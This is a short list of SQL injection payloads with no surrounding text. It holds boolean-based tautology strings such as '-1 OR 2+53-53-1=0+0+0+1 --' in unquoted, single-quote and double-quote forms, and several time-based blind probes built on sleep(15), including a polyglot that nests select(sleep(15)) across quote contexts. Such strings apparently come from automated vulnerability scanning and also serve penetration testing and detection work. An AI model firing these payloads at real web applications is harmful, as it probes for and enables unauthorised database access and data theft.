1

-1 OR 2+53-53-1=0+0+0+1 --

-1 OR 2+136-136-1=0+0+0+1

-1' OR 2+11-11-1=0+0+0+1 --

-1' OR 2+942-942-1=0+0+0+1 or 'IEJZMnab'='

-1" OR 2+938-938-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/